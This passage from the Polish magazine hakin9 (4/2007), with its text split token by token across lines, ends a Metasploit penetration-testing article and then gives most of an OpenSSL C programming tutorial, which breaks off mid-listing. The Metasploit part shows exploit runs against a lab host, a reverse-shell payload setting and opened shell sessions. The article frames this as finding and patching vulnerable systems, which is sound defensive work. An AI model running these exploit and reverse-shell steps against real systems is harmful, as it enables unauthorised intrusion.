.

0.46

:

445

...

[*]

Bound

to

4

b324fc8

-

1670

-

01

d3

-

1

278

-

5

a47bf6ee188

:

3.0

@

ncacn_np

:

10.0

.

0.46

[

\

BROWSER

]

...

[*] Started bind handler

[*]

Binding

to

8

d9f4e40

-

a03d

-

11

ce

-

8

f69

-

08003

e30051b

:

1.0

@

ncacn_np

:

10.0

.

0.46

[

\

browser

]

...

[*]

Bound

to

3919286

a

-

b10c

-

11

d0

-

9

ba8

-

00

c04fd92ef5

:

0.0

@

ncacn_np

:

10.0

.

0.46

[

\

lsarpc

]

...

[*]

Building

the

stub

data

...

[*]

Getting

OS

information

...

[*]

Calling

the

vulnerable

function

...

[*]

Matched

exploit

/

solaris

/

samba

/

trans2open

against

10.0

.

0.46

:

139

...

[*]

Launching

exploit

/

solaris

/

samba

/

trans2open

(

15

/

16

)

against

10.0

.

0.46

:

139

...

[*]

Sending

exploit

...

[*]

>>

Exception

during

launch

from

exploit

/

solaris

/

samba

/

trans2open

:

A

target

has

not

been

selected

.

[*]

Matched

auxiliary

/

dos

/

windows

/

smb

/

ms06_035_mailslot

against

10.0

.

0.46

:

445

...

[*]

Trying

to

exploit

Windows

5.1

msf

>

[*]

Command

shell

session

2

opened

(

10.0

.

0.2

:

57153

->

10.0

.

0.46

:

19530

)

[*]

The

DCERPC

service

did

not

reply

to

our

request

[*]

Command

shell

session

3

opened

(

10.0

.

0.2

:

59665

->

10.0

.

0.46

:

38489

)

[*]

Binding

to

6

bffd098

-

a112

-

3610

-

9833

-

46

c3f87e345a

:

1.0

@

ncacn_np

:

10.0

.

0.46

[

\

BROWSER

]

...

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

64

Zmienne RHOST i RPORT są obo-

wiązkowe i muszą zostać zdefiniowa-
ne. Domyślna wartość RPORT to 135.
A więc wystarczy zdefiniować zmien-
RHOST i wybrać payload, które-
go użyjemy. Podobnie jak dla wypi-
sania możliwości danego exploita, ist-
nieje również polecenie, które wypisze
na ekranie payloady, których możemy
użyć – show payloads. Wybierzemy na
przykład payload shell_reverse_tc:

set PAYLOAD windows/shell_reverse_tcp

O ile wypełniliśmy wszystkie obo-
wiązkowe możliwości używanego
exploita (mogą się one różnić), za
pomocą polecenia exploit możemy
rozpocząć exploitowanie danej ma-
szyny.

Na Rysunku 1. widać, jak exploit

przez nas wybrany, pomyślnie wyko-
rzystał luki w systemie, który podda-
liśmy testowi.

Nasz exploit wykorzystał luki w

systemie i wytworzył TCP połącze-
nie z maszyną 10.0.0.46, przez co

uzyskaliśmy kontrolę nad linią pole-
ceń.

Zakończenie

Nasza praca dobiegła końca. Można
oczywiście utworzyć lokalnego użyt-
kownika, zmienić ustawienia registrów
itp. Naszym celem jednak było wyszu-
kanie niezałatanych systemów w lo-
kalnej sieci, co udało nam się osią-
gnąć. Następnym krokiem powinno
być załatanie wszystkich wyszuka-
nych luk w systemie.

Do nas należy decyzja, w jaki

sposób używać Metasploit, z której
wersji skorzystać; 2 czy 3. Jednak
przy użyciu wsparcia dla bazy da-
nych w wersji 3 nasza praca stanie
się o wiele prostsza. Metasploit Fra-
mework to znakomite narzędzie, które
pomoże nam przy identyfikacji ryzyk
w zabezpieczeniu naszych sieci i sys-
temów. Jednak jest jeszcze nad czym
popracować, niełatwo pisać własne
exploity – trzeba znać podstawy języ-
ka programowania Ruby. Nie można
też zapominać o tym, że wersja 3 nie
jest jeszcze wersją stabilną. l

Listing 4c.

Właściwy proces exploitowania

[*]

Unexpected

DCERPC

fault

0x000006f7

[*]

Bound

to

6

bffd098

-

a112

-

3610

-

9833

-

46

c3f87e345a

:

1.0

@

ncacn_

np

:

10.0

.

0.46

[

\

BROWSER

]

...

[*]

Building

the

stub

data

...

[*]

Calling

the

vulnerable

function

...

[*]

Command

shell

session

4

opened

(

10.0

.

0.2

:

58291

->

10.0

.

0.46

:

38218

)

Listing 5.

Otwarte połączenie uzyskane za pomocą exploitowania

msf

>

sessions

-

l

Active

sessions

===============

Id

Description

Tunnel

--

-----------

------

2

Command

shell

10.0

.

0.2

:

57153

->

10.0

.

0.46

:

19530

3

Command

shell

10.0

.

0.2

:

59665

->

10.0

.

0.46

:

38489

4

Command

shell

10.0

.

0.2

:

58291

->

10.0

.

0.46

:

38218

Listing 6.

Możliwości ms03_026_dcom

msf

exploit

(

ms03_026_dcom

)

>

show

options

Module

options

:

Name

Current

Setting

Required

Description

----

---------------

----

----

-----------

Proxies

no

proxy

chain

RHOST

yes

The

target

address

RPORT

135

yes

The

target

port

SSL

no

Use

SSL

msf

exploit

(

ms03_026_dcom

)

>

W Sieci

http://www.metasploit.com/ strona

domowa projektu Metasploit,

http://en.wikipedia.org – Wikipedia,
http://subversion.tigris.org/ – stro-

na domowa projektu Subversion,

http://www.ruby-lang.org/en – ję-

zyk programowania Ruby.

O autorze

Michal Merta zajmuje się bezpieczeń-
stwem sieci, testowaniem penetracyj-
nym i ocenianiem zabezpieczenia sys-
temów. Ukończył informatykę na uni-
wersytecie w Brnie. Aktualnie pracu-
je dla międzynarodowej spółki w Pra-
dze jako Security Assessment and
Compliance Senior Consultant. Inte-
resuje się także systemami na bazie
UNIXa, polityką bezpieczeństwa m.in.
ISO27001 i systemami detekcji wła-
mań. Z Metasploitem pracuje już pra-
wieże dwa lata. Jego stronę interneto-
wą można znaleźć pod adresem http:
//www.misuta.cz

background image
background image

www.hakin9.org

hakin9 Nr 4/2007

66

Obrona

N

ajbardziej popularnym i skutecznym
rozwiązaniem, zdaje się tu ciągle oka-
zywać szyfrowanie SSL (ang. Secure

Socket Layer) względnie rozwijane dalej pod
nazwą TLS (ang. Transport Layer Security) za
pomocą wolnodostępnej biblioteki OpenSSL,
co wykorzystuje większość kluczowych aplika-
cji sieciowych jak Apache, Postfix, OpenSSH.
Pakiet OpenSSL składa się generalnie z trzech
składników:

• biblioteka libssl – obsługuje protokół SSL/

TLS;

• biblioteka libcrypto – zawiera obsługę algo-

rytmów kryptograficznych;

• polecenie openssl – narzędzie administra-

cyjne pozwalające w linii poleceń skorzy-
stać z wymienionych wyżej bibliotek.

Protokół SSL/TLS składa się z trzech faz:

• negocjacja algorytmów;
• wymiana kluczy symetrycznych przy pomo-

cy infrastruktury klucza publicznego (PKI)
i uwierzytelnianiu opartym na certyfikatach;

• szyfrowanie symetryczne za pomocą wcze-

śniej wymienionych kluczy.

W pierwszej fazie klient i serwer wymienia-
ją się informacjami dotyczącymi wersji biblio-
teki oraz wspieranych algorytmów. W dru-
giej fazie serwer uwierzytelnia się kliento-
wi przedstawiając swój certyfikat podpisany
przez klucz prywatny. Klient mając już klucz
publiczny serwera może stwierdzić czy ma
do czynienia z właściwym serwerem. Opcjo-
nalnie może jeszcze wystąpić analogiczne
uwierzytelnianie klienta. Infrastruktura klu-
cza publicznego – PKI (ang. Public Key Infra-
structure) to szyfrowanie asymetryczne, któ-
re jest dużo mniej wydajne niż szyfrowanie
symetryczne, dlatego też następnym krokiem
tej fazy jest wymiana kluczy symetrycznych
(wygenerowanych na przykład za pomocą al-

Szyfrowanie w aplikacjach

– biblioteka Openssl

Paweł Maziarz

stopień trudności

Informacja w dzisiejszych czasach jest wyjątkowo cenna, dlatego

trzeba o nią odpowiednio zadbać. Sieci firmowe, osiedlowe czy

bezprzewodowe często nie są zabezpieczone na odpowiednim

poziomie (nierzadko nie pozwalają na to przyczyny techniczne),

a więc przy przesyłaniu informacji w sieci, jej nienaruszalność

powinna zagwarantować odpowiednia aplikacja.

Z artykułu dowiesz się...

• jak zaimplementować szyfrowanie

SSL/TLS w swoich aplikacjach

Co powinieneś wiedzieć...

• powinieneś umieć programować w języku C

background image

Biblioteka Openssl

hakin9 Nr 4/2007

www.hakin9.org

67

gorytmu Diffiego-Hellmana), które
będą używane we właściwym prze-
syłaniu danych. Ostatnia faza to już
faktyczne przesyłanie danych za-
szyfrowanych wcześniej ustalonym
kluczem symetrycznym.

Certyfikaty

Jak można wywnioskować z po-
przedniego akapitu, zanim stwo-
rzymy klienta i serwer z obsługą
szyfrowania SSL/TLS, trzeba naj-
pierw przygotować kilka certyfi-
katów, z których programy będą
korzystać. W naszym przypadku
będą potrzebne dwa – certyfikat
Urzędu Certyfikującego (ang. Cer-
tification Authority – CA), którym
będziemy podpisywać certyfikaty
klientów oraz certyfikat dla same-
go klienta. Do ich stworzenia po-
służy komenda

openssl

, By ułatwić

cały proces, stworzymy plik ssl.cnf
(Listing 1), którego omawiać nie
będę, ponieważ dostarczony w
całym pakiecie plik konfiguracyj-
ny openssl.cnf zaopatrzony jest w
szczegółowe komentarze. Musimy
też stworzyć odpowiednią struktu-
rę katalogów i pewne pliki:

drg@catharsis:~$ mkdir -p ssl/
{certs,private}
drg@catharsis:~$ chmod 700 ssl/private/
drg@catharsis:~$ touch ssl/index.txt
drg@catharsis:~$ echo 01 > ssl/serial

po czym można już przystąpić do
generowania certyfikatu głównego
(CA) komendą:

drg@catharsis:~/ssl$ openssl req -x509
-newkey rsa:2048 -out cacert.pem
-outform PEM -config ssl.cnf

Po podaniu i potwierdzeniu hasła do
certyfikatu, zostanie stworzony cer-
tyfikat Urzędu Certyfikującego ca-

cert.pem oraz jego klucz prywatny
w private/cakey.pem. Teraz trzeba
utworzyć certyfikat dla klienta, któ-
ry będzie używany w późniejszych
aplikacjach. Certyfikat ten musi być
następnie podpisany przez nasze
CA. Żądanie certyfikatu klient mo-
że utworzyć u siebie po czym wysłać
go do Urzędu Certyfikującego w ce-

Listing 1.

Ssl.cnf - przykładowy plik konfiguracyjny dla openssl

[

ca

]

default_ca

=

CA_kajmany

[

CA_kajmany

]

dir

=

.

certs

=

$

dir

/

certs

new_certs_dir

=

$

dir

/

certs

private_key

=

$

dir

/

private

/

cakey

.

pem

serial

=

$

dir

/

serial

database

=

$

dir

/

index

.

txt

certificate

=

$

dir

/

cacert

.

pem

default_days

=

364

default_md

=

sha1

policy

=

kajmany_policy

x509_extensions

=

kajmany_ext

[

kajmany_policy

]

commonName

=

supplied

countryName

=

supplied

stateOrProvinceName

=

supplied

organizationName

=

supplied

organizationalUnitName

=

supplied

emailAddress

=

optional

[

kajmany_ext

]

basicConstraints

=

CA

:

false

[

req

]

distinguished_name

=

kajmany_dn

default_bits

=

1024

default_keyfile

=

./

private

/

cakey

.

pem

x509_extensions

=

kajmany_ca_ext

prompt

=

no

[

kajmany_dn

]

commonName

=

intersim

.

pl

countryName

=

PL

stateOrProvinceName

=

Dolnoslaskie

localityName

=

Wroclaw

organizationName

=

Intersim

s

.

c

.

organizationalUnitName

=

Centrum

Certyfikatow

emailAddress

=

pawel

.

maziarz

@

intersim

.

pl

[

kajmany_ca_ext

]

basicConstraints

=

CA

:

false

Rysunek 1.

Kompilacja i uruchomienie klienta

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

68

lu podpisania. Ten z kolei po podpi-
saniu odeśle mu już pełnowartościo-
wy certyfikat, Urząd Certyfikujący
może też mieć politykę, tego rodzaju
że sam generuje certyfikaty i od razu
podpisuje je dla klientów, tak będzie
to wyglądało w naszym przykładzie.
Żądanie certyfikatu:

drg@catharsis:~/ssl$ openssl req -
newkey rsa:2048 -keyout clients/cert-
server-key.pem -keyform PEM -out
clients/cert-server-request.pem -
outform PEM

i jego podpisanie:

drg@catharsis:~/ssl$ openssl ca -
in clients/cert-server-request.pem
-notext -out clients/cert-server.pem
-config ssl.cnf

Wypada jeszcze wygenerować dla
serwera plik z parametrami dla algoryt-
mu Diffiego-Hellmana poleceniem:

drg@catharsis:~ssl$ openssl dhparam
-out clients/dhserver.pem 512

Po tych czynnościach w katalogu

clients/ znajduje się gotowy certyfi-
kat do wykorzystania w aplikacji cert-

server.pem, klucz prywatny do niego

cert-key.pem oraz plik dhserver.pem
z parametrami DH. Plik cert-server-

request.pem nie jest już potrzebny,
należy go zatem usunąć. Informacje
o stworzonych certyfikatach może-
my wyświetlić komendami:

drg@catharsis:~/ssl$ openssl req -
noout -text -in clients/cert-server-
request.pem
drg@catharsis:~/ssl$ openssl x509 -

noout -text -in clients/cert-server.pem
drg@catharsis:~/ssl$ openssl x509 -
noout -text -in cacert.pem

Budujemy klienta ssl

Na pierwszy ogień pójdzie aplika-
cja klienta, która zestawia szyfro-
wane połączenie z serwerem, wy-
syła zapytanie HTTP (by od razu
można było przeprowadzić testy
na realnych serwerach WWW z
obsługą połączeń SSL/TLS) oraz
wyświetla informacje o certyfika-
cie drugiej strony i odczytuje od-
powiedź.

Na samym początku aplikacja

openssl powinna zainicjować do-
stępne algorytmy, szyfry oraz na-
zwy błędów, które w razie proble-
mów będą bardziej pomocne niż
ich liczbowe wartości, wywołując
funkcje:

Listing 2.

Funkcja ssl_client_initialize_ctx z pliku ssl-client.c

SSL_CTX

*

ssl_client_initialize_ctx

()

{

SSL_CTX

*

ctx

;

SSL_METHOD

*

method

;

SSL_library_init

();

OpenSSL_add_all_algorithms

();

SSL_load_error_strings

();

ERR_load_crypto_strings

();

method

=

SSLv23_client_method

();

ctx

=

SSL_CTX_new

(

method

);

if

(!

SSL_CTX_load_verify_locations

(

ctx

,

CA_FILE

,

NULL

)

||

!

SSL_CTX_set_default_verify_paths

(

ctx

))

{

fprintf

(

stderr

,

"Błąd w ładowaniu certyfikatu CA, nie zweryfikuję zatem

certyfikatu serwera.

\n

"

);

ERR_print_errors_fp

(

stderr

);

}

SSL_CTX_set_verify

(

ctx

,

SSL_VERIFY_NONE

,

NULL

);

SSL_CTX_set_verify_depth

(

ctx

,

1

);

SSL_CTX_set_options

(

ctx

,

SSL_OP_ALL

|

SSL_OP_NO_SSLv2

);

return

ctx

;

}

Listing 3.

bioex.c – przykład łańcucha BIO

#include

<openssl/bio.h>

#include

<openssl/ssl.h>

int

main

()

{

BIO

*

bio

,

*

b64

;

char

message

[]

=

"Bio przyklad"

;

bio

=

BIO_new

(

BIO_s_file

());

BIO_set_fp

(

bio

,

stdout

,

BIO_NOCLOSE

);

b64

=

BIO_new

(

BIO_f_base64

());

bio

=

BIO_push

(

b64

,

bio

);

BIO_write

(

bio

,

message

,

strlen

(

message

));

BIO_flush

(

bio

);

BIO_free_all

(

bio

);

return

0

;

}

Rysunek 2.

Kompilacja i działanie serwera

background image

Biblioteka Openssl

hakin9 Nr 4/2007

www.hakin9.org

69

SSL_library_init();
OpenSSL_add_all_algorithms();
SSL_load_error_strings();
ERR_load_crypto_strings();

Następnie trzeba określić jakimi
protokołami aplikacja będzie się
porozumiewać oraz jaką rolę w tej
komunikacji będzie spełniać – ser-
wera, klienta czy też może obie.
Określa się to poprzez zainicjowa-
nie struktury typu SSL_METHOD

*method odpowiednią funkcją, któ-
rej pierwszym członem jest typ pro-
tokołu, jeden z poniższych:

• SSLv2 – SSL w wersji 2, nieza-

lecane z powodu poważnych luk
bezpieczeństwa;

• SSLv3 – SSL w wersji 3;
• TLSv1 – TLS w wersji 1.0;
• SSLv23 – SSL w wersji 2, 3 lub

TLS w wersji 1.0

• DTLSv1 – DTLS w wersji 1.0

(szyfrowanie datagramów pakie-
tów, np. UDP).

Jeżeli chodzi o kompatybilność, to
widać, że najlepszym wyborem bę-
dzie SSLv23, jednak druga stro-
na łatwo może jednak wymusić
protokół SSL 2, co narazi na nie-
bezpieczeństwo nasz programo-
wany system. Można sobie jed-
nak z tym poradzić w późniejszym
czasie poprzez przekazanie jed-
nej z opcji SSL_OP_NO_SSLv2,
SSL_OP_NO_SSLv3 albo SSL_
OP_NO_TLSv1 do konkretnego po-
łączenia lub całego kontekstu SSL,
która wyłączy obsługę konkretnego
protokołu. Następnym członem jest
rola – client, server albo jej brak, je-
żeli aplikacja ma pracować zarówno
jako klient i serwer. Dla klienta TLS
inicjalizacja struktury method bę-
dzie więc miała postać

SSL _ METHOD

*method = TLSv1 _ client _ method()

,

dla serwera

SSL _ METHOD *method

= TLSv1 _ server _ method()

, a dla

aplikacji hybrydowej

SSL _ METHOD

*method = TLSv1 _ method()

.

Po wyborze metody czas na za-

inicjowanie całego kontekstu SSL
(struktura

SSL _ CTX *ctx

). Kontekst

ten musi być całkowicie przygoto-
wany przed otwarciem pierwsze-

go połączenia. Każde nowe połą-
czenie w aplikacji będzie odnosiło
się do tego jednego kontekstu, na-

leży więc pamiętać o tym, że zmie-
niając właściwości kontekstu, np.

SSL _ CTX _ set _ options(ctx, SSL _

Listing 4.

główna funkcja z pliku ssl-client.c

#

define

HOSTPORT

"localhost:4433"

#

define

CA_FILE

"/home/drg/ssl/cacert.pem"

#

define

REQUEST

"HEAD / HTTP/1.0

\r\n\r\n

"

void

certificate_print_info

(

SSL

*

ssl

);

SSL_CTX

*

ssl_client_initialize_ctx

();

int

main

(

int

argc

,

char

**

argv

)

{

char

*

host_port

;

BIO

*

sbio

;

SSL_CTX

*

ctx

;

SSL

*

ssl

;

char

buf

[

1024

];

int

len

;

long

int

err

;

if

(

argc

>

1

)

host_port

=

strdup

(

argv

[

1

]);

else

host_port

=

strdup

(

HOSTPORT

);

ctx

=

ssl_client_initialize_ctx

();

sbio

=

BIO_new_ssl_connect

(

ctx

);

BIO_set_conn_hostname

(

sbio

,

host_port

);

BIO_get_ssl

(

sbio

,

&

ssl

);

if

(!

ssl

)

{

fprintf

(

stderr

,

"Błąd ssl.

\n

"

);

ERR_print_errors_fp

(

stderr

);

return

1

;

}

SSL_set_mode

(

ssl

,

SSL_MODE_AUTO_RETRY

);

if

(

BIO_do_connect

(

sbio

)

<=

0

)

{

fprintf

(

stderr

,

"Błąd łączenia

z serwerem %s

\n

"

,

host_port

);

ERR_print_errors_fp

(

stderr

);

return

1

;

}

if

((

err

=

SSL_get_verify_result

(

ssl

))

!=

X509_V_OK

)

{

fprintf

(

stderr

,

"Błąd przy weryfikacji

certyfikatu (kod %ld - %s).

\n

"

,

err

,

X509_verify_cert_error_string

(

err

));

ERR_print_errors_fp

(

stderr

);

}

else

fprintf

(

stderr

,

"Certyfikat poprawnie zweryfikowany.

\n

"

);

certificate_print_info

(

ssl

);

if

(

BIO_do_handshake

(

sbio

)

<=

0

)

{

fprintf

(

stderr

,

"Error establishing SSL connection

\n

"

);

ERR_print_errors_fp

(

stderr

);

return

1

;

}

BIO_puts

(

sbio

,

REQUEST

);

while

(

1

)

{

len

=

BIO_read

(

sbio

,

buf

,

1024

);

if

(

len

<=

0

)

break

;

write

(

STDOUT_FILENO

,

buf

,

len

);

}

BIO_free_all

(

sbio

);

exit

(

0

);

}

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

70

OP _ ALL | SSL _ OP _ NO _ SSLv2),

zmiana będzie dotyczyć wszyst-
kich połączeń, podczas gdy usta-
wienie tych opcji tylko dla jedne-
go konkretnego połączenia miałoby
postać

SSL _ set _ options(sslcon,

SSL _ OP _ ALL | SSL _ OP _ NO _ SSLv2)

.

Za inicjalizację kontekstu odpowie-
dzialne jest wywołanie SSL_CTX
*

ctx = SSL _ CTX _ new(method)

, gdzie

method

zostało już wcześniej omó-

wione. W bardziej zwartej wersji
można to oczywiście zapisać

ctx

=

SSL _ CTX _ new(SSLv23 _ client _

method())

(w przypadku klienta).

Prawie wszystko zostało już dla
klienta przygotowane jednak w
celu weryfikacji certyfikatów ser-
werów, z którymi klient będzie
się łączył, należy jeszcze załado-
wać certyfikat Urzędu Certyfiku-

jącego (CA). Zrobimy to używając
funkcji

SSL _ CTX _ load _ verify _

locations()

oraz

SSL _ CTX _ set _

default _ verify _ paths()

. Przyda

się też określić parametry weryfi-
kacji; służy do tego funkcja

SSL _

CTX _ set _ verify()

. Pierwszym pa-

rametrem jest oczywiście wskaźnik
na kontekst (widać to po przedrost-
ku SSL_CTX_), następnym zaś fla-
ga określająca zasady weryfikacji.
Dostępne dla klienta flagi to:

• SSL_VERIFY_NONE-certyfikat

przesłany od serwera zostanie
sprawdzony, jednak niezależnie
od wyniku, połączenie będzie
kontynuowane; wynik weryfikacji
można później sprawdzić za po-
mocą funkcji

SSL _ get _ verify _

result()

;

• SSL_VERIFY_PEER – jeżeli we-

ryfikacja certyfikatu serwera nie
powiedzie się połączenie jest na-
tychmiastowo zatrzymywane z
informacją o błędzie.

Trzecim i ostatnim argumentem
tej funkcji jest wskaźnik na własną
funkcję weryfikującą, z której moż-
na jednak zrezygnować podając
jako argument NULL, co poczyni-
my w naszym kliencie. Przy usta-
wianiu parametrów weryfikacji mo-
żemy ustawić jeszcze limit głębo-
kości sprawdzanych certyfikatów
(domyślnie jest 9) za pomocą funk-
cji

SSL _ CTX _ set _ verify _ depth()

.

Ustawienie głębokości na 1 spo-
woduje, że sprawdzony będzie tyl-
ko certyfikat serwera (Urzędu Cer-
tyfikującego już nie), co w naszym
przypadku zupełnie wystarczy.

Opisane czynności inicjujące

umieściliśmy w naszym kliencie
w osobnej funkcji

ssl _ client _

initialize _ ctx()

przedstawionej na

Listingu 2.

Basic Input/Output

BIO to abstrakcja wejścia/wyjścia
dostępna dla programisty openssl.
Dzięki BIO aplikacja może scho-
wać wszystkie niskopoziomowe
wywołania związane z obsługą
połączenia SSL, z obsługą nieszy-
frowanego połączenia TCP/IP czy
też z obsługą plików. Istnieją dwa
rodzaje BIO

• source/sink BIO
• filter BIO

Listing 5.

Funkcja certificate_print_info z ssl_client.c

void

certificate_print_info

(

SSL

*

ssl

)

{

X509

*

cert

;

char

commonName

[

128

];

char

country

[

128

];

char

state

[

128

];

char

locality

[

128

];

char

org

[

128

];

char

unit

[

128

];

*

commonName

=

*

country

=

*

state

=

*

locality

=

*

org

=

*

unit

=

'

\0

'

;

cert

=

SSL_get_peer_certificate

(

ssl

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

,

NID_countryName

,

country

,

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

,

NID_

stateOrProvinceName

,

state

,

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

,

NID_localityName

,

locality

,

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

,

NID_organizationName

,

org

,

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

,

NID_commonName

,

commonName

,

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

,

NID_

organizationalUnitName

,

unit

,

128

);

X509_free

(

cert

);

fprintf

(

stderr

,

"

\

n"

);

fprintf

(

stderr

,

"country: %s

\n

"

,

country

);

fprintf

(

stderr

,

"state: %s

\n

"

,

state

);

fprintf

(

stderr

,

"org: %s

\n

"

,

org

);

fprintf

(

stderr

,

"commonName: %s

\n

"

,

commonName

);

fprintf

(

stderr

,

"unit: %s

\n

"

,

unit

);

fprintf

(

stderr

,

"locality: %s

\n

"

,

locality

);

fprintf

(

stderr

,

"

\

n"

);

}

O autorze

Autor jest właścicielem i jednocześnie
jednym z głównych programistów
firmy tworzącej między innymi sie-
ciowe oprogramowanie. Na przełomie
ostatnich lat współpracował z kilko-
ma firmami w charakterze Security
Specialist. W wolnych chwilach gra
w golfa, na gitarze klasycznej oraz
spuszcza się na linie z budynków.
Kontakt z autorem:
pawel.maziarz@intersim.pl.

background image

Biblioteka Openssl

hakin9 Nr 4/2007

www.hakin9.org

71

Pierwsze z nich służą do bezpo-
średniego operowania na gniaz-
dach czy plikach. Drugie – filtrują-
ce – pobierają dane z innych BIO
i przekazują je do kolejnych, lub
wprost do aplikacji. Dane te mogą
zostać niezmienione (np. BIO bufo-
rujące) bądź odpowiednio przetwo-
rzone (np. BIO szyfrujące). Cieka-
wostką jest fakt, że BIO mogą być
łączone w łańcuchy (pojedyncze
BIO to łańcuch z jednym elemen-
tem) za pomocą funkcji

BIO _ push()

(intuicyjnie

BIO _ pop()

zdejmu-

je BIO z łańcucha), dzięki cze-
mu w łatwy i praktycznie przezro-
czysty sposób można dokonywać
operacji na danych. Do tworze-
nia abstrakcyjnych BIO służy funk-
cja

BIO _ new(),

przyjmująca jako

parametr rodzaj tworzonego BIO
(dostępne rodzaje można znaleźć
na stronie podręcznika man bio).
Szybka

demonstracja

łańcu-

chów BIO przedstawiona jest na
Listingu 3.

Program ten tworzy nowe BIO

plikowe (jest to BIO typu source/
sink), po czym przypisuje do niego
standardowe wyjście:

bio = BIO_new(BIO_s_file());
BIO_set_fp(bio, stdout,

BIO_NOCLOSE);

i tutaj mała uwaga – studiując stronę
podręcznika man BIO_s_file można
zauważyć, że zamiast tych dwóch
linijek można użyć funkcji

BIO _ new _

fp()

, która zrobi dokładnie to samo,

a więc prościej:

bio = BIO_new_fp(stdout, BIO_NOCLOSE);

W następnych linijkach program
tworzy nowe BIO, tym razem fil-
trujące, typu

BIO _ f _ base64()

.

Jest to BIO, które koduje wszyst-
ko co jest do niego zapisane algo-
rytmem base64 oraz dekoduje w
przypadku odczytu z niego. Funk-
cja

BIO _ push(b64, bio)

dołącza do

łańcucha złożonego do tej pory z
BIO plikowego typu source/sink,
BIO filtrujące b64 i zwraca łańcuch
bio. Od tej pory wszystko to, co zo-
stanie zapisane do bio, będzie naj-

pierw zamienione na ciąg base64,
a następnie wyświetlone na stan-
dardowe wyjście.

Najszybszym sposobem na po-

łączenie się ze zdalnym serwerem
SLL/TLS jest więc stworzenie łań-
cucha BIO składającego się z BIO
typu

BIO _ s _ connect()

(BIO ty-

pu source/sink) oraz z BIO filtrują-
cego typu

BIO _ f _ ssl()

. Przeglą-

dając dokumentację (polecam man

bio jako bazę) znajdziemy funk-
cję

BIO _ new _ ssl _ connect()

, któ-

ra zwróci nam właśnie taki łańcuch.
Adres hosta i port ustalimy funkcją

BIO _ set _ conn _ hostname()

– widać

od razu jak przyjemnie pracuje się
z BIO – nie musimy się nawet mar-
twić o obsługę gniazd na niskim po-
ziomie (co jest jedną ze szkół pisa-

Listing 6.

Funkcja server_ssl_initialize_ctx z pliku ssl-server.c

SSL_CTX

*

server_ssl_initialize_ctx

()

{

SSL_CTX

*

ctx

;

BIO

*

dhbio

;

SSL_library_init

();

SSL_load_error_strings

();

ERR_load_crypto_strings

();

OpenSSL_add_all_algorithms

();

ctx

=

SSL_CTX_new

(

SSLv23_server_method

());

if

(

SSL_CTX_use_certificate_file

(

ctx

,

CERTIFICATE_FILE

,

SSL_FILETYPE_PEM

)

!=

1

)

{

fprintf

(

stderr

,

"Błąd wczytywania certyfikatu.

\n

"

);

ERR_print_errors_fp

(

stderr

);

return

NULL

;

}

if

(

SSL_CTX_use_PrivateKey_file

(

ctx

,

PRIVATE_KEY

,

SSL_FILETYPE_PEM

)

!=

1

)

{

fprintf

(

stderr

,

"Błąd wczytywania klucza prywatnego.

\n

"

);

ERR_print_errors_fp

(

stderr

);

return

NULL

;

}

if

(

SSL_CTX_check_private_key

(

ctx

)

!=

1

)

{

fprintf

(

stderr

,

"Klucz prywatny zdaje się nie należeć do certyfikatu.

\n

"

);

ERR_print_errors_fp

(

stderr

);

return

NULL

;

}

if

((

dhbio

=

BIO_new_file

(

DH_FILE

,

"r"

))

==

NULL

)

{

fprintf

(

stderr

,

"Błąd we wczytywaniu parametrów DH. Pomijamy ten krok.

\n

"

);

ERR_print_errors_fp

(

stderr

);

}

else

{

DH

*

dh

=

PEM_read_bio_DHparams

(

dhbio

,

NULL

,

NULL

,

NULL

);

BIO_free

(

dhbio

);

if

(

SSL_CTX_set_tmp_dh

(

ctx

,

dh

)

<

0

)

{

fprintf

(

stderr

,

"Błąd w ustawianiu paremetrów DH. Pomijamy.

\n

"

);

ERR_print_errors_fp

(

stderr

);

}
}

Listing 7.

Funkcja z pliku ssl-server.c obsługująca sygnał SIGCHLD

void

sigchild_handler

(

int

sig

)

{

int

status

;

pid_t

pid

;

pid

=

wait

(&

status

);

if

(

WIFEXITED

(

status

))

fprintf

(

stderr

,

"Proces

%d wrocil z
kodem %d.

\n

"

,

pid

,

WEXITSTATUS

(

status

));

else

if

(

WIFSIGNALED

(

status

))

fprintf

(

stderr

,

"Proces %d został

zabity sygnałem %d.

\n

"

,

pid

,

WTERMSIG

(

status

));

}

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

72

nia aplikacji z openssl). W celu uzy-
skania dostępu do wskaźnika na
połączenie SSL, znajdującego się
w naszym łańcuchu BIO, używa-
my funkcji

BIO _ get _ ssl()

, co widać

na Listingu 4, zawierającym główną
część naszego klienta.

Po otrzymaniu wskaźnika na

połączenie ssl, warto jeszcze usta-
wić flagę

SSL _ MODE _ AUTO _ RETRY

,

dzięki której nie musimy się mar-
twić o problem z częściowym wy-
konaniem operacji zapisu czy od-
czytu – zatroszczy się o to proto-

kół. W tym miejscu jesteśmy w koń-
cu gotowi do zrealizowania w koń-
cu połączenia – zrobimy za pomo-
cą funkcji

BIO _ do _ connect()

. Na-

stępnym krokiem, jaki zrobimy jest
zweryfikowanie certyfikatu ser-
wera (

SSL _ get _ verify _ result()

)

Listing 8.

Ssl-server.c – główna funkcja

#

define

DEFAULTPORT

"4433"

#

define

CERTIFICATE_FILE

"

/home/drg/ssl1/clients/cert-server.pem"

#

define

PRIVATE_KEY

"

/home/drg/ssl1/clients/cert-server-key.pem"

#

define

DH_FILE

"

/home/drg/ssl/clients/dhserver.pem"

#

define

RESPONSE

"

HTTP/1.0 200 OK

\r\n

Content-type:

text/plain

\r\n\r\n

"

void

sigchild_handler

(

int

sig

);

SSL_CTX

*

server_ssl_initialize_ctx

();

int

main

(

int

argc

,

char

**

argv

)

{

char

*

portbuff

;

int

rv

;

BIO

*

listen_bio

;

SSL_CTX

*

ctx

;

SSL

*

ssl

;

char

buf

[

1024

];

int

len

;

if

(!(

ctx

=

server_ssl_initialize_ctx

()))

{

fprintf

(

stderr

,

"Niestety.

\n

"

);

exit

(

1

);

}

if

(

argc

>

1

)

portbuff

=

strdup

(

argv

[

1

]);

else

portbuff

=

strdup

(

DEFAULTPORT

);

signal

(

SIGCHLD

,

